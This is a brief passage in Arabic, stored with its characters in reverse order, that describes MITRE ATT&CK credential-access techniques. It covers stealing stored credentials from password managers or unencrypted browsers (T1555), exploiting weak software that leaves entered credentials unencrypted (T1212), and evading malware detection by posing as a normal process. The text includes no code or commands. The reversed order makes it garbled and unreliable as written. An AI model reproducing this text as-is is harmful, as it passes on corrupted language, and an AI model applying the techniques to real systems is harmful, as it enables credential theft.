.ةثيبخلا تايجمربلا فشك ةمظنأ نع ةقوثومو ةيداع ماظن ةيلمعك
Mitre T1555 - وأ رورملا تاملك يريدم نم ةنزخملا دامتعالا تانايب مادختسا نكمي
.تازايتمالا تاذ تانايبلا ىلإ لوصولل ةرفشملا ريغ تاحفصتملا
Mitre T1212 - موقت ال ةفيعض تايجمرب لالغتسا لالخ نم دامتعالا تانايب ةقرس نكمي
.مدختسملا اهلخدي يتلا دامتعالا تانايب ريفشتب
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